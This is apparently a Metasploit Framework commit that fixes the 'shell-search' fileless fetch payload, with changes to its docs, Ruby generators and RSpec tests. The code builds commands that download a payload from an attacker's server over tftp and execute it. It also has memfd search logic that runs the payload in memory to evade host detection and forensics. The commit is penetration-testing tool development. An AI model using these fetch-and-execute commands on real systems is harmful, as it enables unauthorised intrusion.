Minor fix to shell-search to accurately determine failed download

docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md

@@ -99,10 +99,10 @@ served payload is the same.
 memory rather than disk before execution, thus avoiding some HIDS and making forensics harder.  Currently, there are
 two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.
 This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command
-searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find
+searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find
 a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds
-a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous
-file handle, it execute standard fetch command that downloads the adapted payload.
+a standard fetch command as backup. This means that if the `shell-search` fetch command cannot find a suitable anonymous
+file handle, it executes the standard fetch command that downloads the adapted payload.
 
 `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host.  This option is not
 supported by every binary and must end in `.exe` on Windows hosts.  The default value is random.

lib/msf/core/payload/adapter/fetch.rb

@@ -342,10 +342,10 @@ def _execute_win(get_file_cmd)
   def _execute_nix(get_file_cmd)
     return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
     return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
-    
+
     if datastore['FETCH_FILELESS'] == 'shell-search'
       cmds = _generate_fileless_bash_search(get_file_cmd)
-      cmds << "f=#{_remote_destination_nix(true)};"
+      cmds << "f=#{_remote_destination_nix(failsafe: true)};"
       cmds << get_file_cmd
     else
       cmds = get_file_cmd
@@ -458,13 +458,14 @@ def _generate_tftp_command(uri)
         fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}")
       else
         _check_tftp_file
+        tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &"
         if datastore['FETCH_FILELESS'] != 'none' && linux?
           get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}"
           return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
-          return "#{_generate_fileless_bash_search(get_file_cmd)} (echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" if datastore['FETCH_FILELESS'] == 'shell-search'
+          return "#{_generate_fileless_bash_search(get_file_cmd)} #{tftp_fetch_and_exec}" if datastore['FETCH_FILELESS'] == 'shell-search'
           return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
         else
-          fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &"
+          fetch_command = tftp_fetch_and_exec
         end
       end
     else
@@ -521,7 +522,7 @@ def _remote_destination
   # Returns or memoizes the remote payload destination for POSIX targets.
   #
   # @return [String] The POSIX destination path or fileless placeholder.
-  def _remote_destination_nix(failsafe = false)
+  def _remote_destination_nix(failsafe: false)
     return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true
 
     if datastore['FETCH_FILELESS'] != 'none' && failsafe == false
@@ -534,6 +535,7 @@ def _remote_destination_nix(failsafe = false)
       payload_filename = srvuri if payload_filename.blank?
       payload_path = writable_dir + payload_filename
       return payload_path if failsafe
+
       @remote_destination_nix = payload_path
     end
     @remote_destination_nix

lib/msf/core/payload/adapter/fetch/fileless.rb

@@ -186,7 +186,6 @@ def _generate_first_stage_shellcode(arch)
     end
     return payload
   end
-
 
   def _generate_jmp_instruction(arch)
     #
@@ -293,7 +292,7 @@ def _generate_fileless_shell(get_file_cmd, arch)
 
   cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);'
   cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];'
-  cmd << "then if $(#{get_file_cmd} >/dev/null);"
+  cmd << "then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];"
   cmd << 'then $f & FOUND=1;break;'
   cmd << 'fi;'
   cmd << 'fi;'
@@ -326,7 +325,7 @@ def _generate_fileless_bash_search(get_file_cmd)
     # and execute it
     cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
     cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
-    cmd << "; then if $(#{get_file_cmd} >/dev/null)"
+    cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]"
     cmd << '; then $f'
     cmd << '; FOUND=1'
     cmd << '; exit 1'

spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb

@@ -46,15 +46,58 @@
     subject(:cmd) { harness._generate_fileless_bash_search(get_file_cmd) }
 
     it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do
-      expect(cmd).to include("if $(#{get_file_cmd} >/dev/null)")
+      expect(cmd).to include("if #{get_file_cmd} >/dev/null")
+    end
+
+    it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do
+      # $(get_file_cmd >/dev/null) always captures an empty string (stdout is
+      # redirected away inside the substitution), and `if <empty>` is always
+      # true in bash regardless of whether get_file_cmd actually succeeded.
+      expect(cmd).not_to include("$(#{get_file_cmd}")
+    end
+
+    it 'verifies the candidate anonymous file actually holds a downloaded ELF, not just any pre-existing content' do
+      # A candidate fd can pass the memfd/rwx filter yet belong to an unrelated
+      # process with its own real (non-empty) data already in it -- a bare
+      # exit-status or size check can't tell "our payload landed here" apart
+      # from "there was already unrelated data here we couldn't overwrite".
+      expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]})
+    end
+
+    it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do
+      expect(cmd).not_to include('od ')
+      expect(cmd).not_to include('head -c4 $f')
+    end
+
+    it 'exits the whole script on a successful match rather than merely breaking the search loop' do
+      # A bare `break` only exits the innermost loop -- when this search
+      # script is concatenated with a fallback (as _execute_nix's shell-search
+      # branch does), a successful match must terminate the entire script via
+      # `exit`, or the fallback below would run again and re-download/re-exec
+      # the payload a second time.
+      expect(cmd).to include('; exit 1')
+      expect(cmd).not_to include('; break')
     end
   end
 
   describe '#_generate_fileless_shell' do
     subject(:cmd) { harness._generate_fileless_shell(get_file_cmd, 'mipsle') }
 
     it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do
-      expect(cmd).to include("then if $(#{get_file_cmd} >/dev/null)")
+      expect(cmd).to include("then if #{get_file_cmd} >/dev/null")
+    end
+
+    it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do
+      expect(cmd).not_to include("$(#{get_file_cmd}")
+    end
+
+    it 'verifies the candidate anonymous file actually holds a downloaded ELF' do
+      expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]})
+    end
+
+    it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do
+      expect(cmd).not_to include('od ')
+      expect(cmd).not_to include('head -c4 $f')
     end
   end
 end

spec/lib/msf/core/payload/adapter/fetch_spec.rb

@@ -69,4 +69,41 @@ def _execute_add(get_file_cmd)
   describe '#_generate_wget_command' do
     include_examples 'a dynamic-arch aware fetch command', :_generate_wget_command
   end
+
+  describe '#_remote_destination_nix' do
+    let(:harness_class) do
+      Class.new do
+        include Msf::Payload::Adapter::Fetch
+
+        def initialize
+          @datastore = {
+            'FETCH_FILELESS' => 'shell-search',
+            'FETCH_WRITABLE_DIR' => '',
+            'FETCH_FILENAME' => ''
+          }
+        end
+        attr_accessor :datastore
+
+        def srvuri
+          'payload_uri'
+        end
+      end
+    end
+
+    subject(:harness) { harness_class.new }
+
+    it 'returns the standard writable-dir path when called with failsafe: true' do
+      expect(harness.send(:_remote_destination_nix, failsafe: true)).to eq('./payload_uri')
+    end
+
+    it 'does not memoize the failsafe: true result into @remote_destination_nix' do
+      harness.send(:_remote_destination_nix, failsafe: true)
+      expect(harness.instance_variable_get(:@remote_destination_nix)).to be_nil
+    end
+
+    it 'still returns the fileless placeholder on a later unqualified call, unaffected by the earlier failsafe: true peek' do
+      harness.send(:_remote_destination_nix, failsafe: true)
+      expect(harness.send(:_remote_destination_nix)).to eq('$f')
+    end
+  end
 end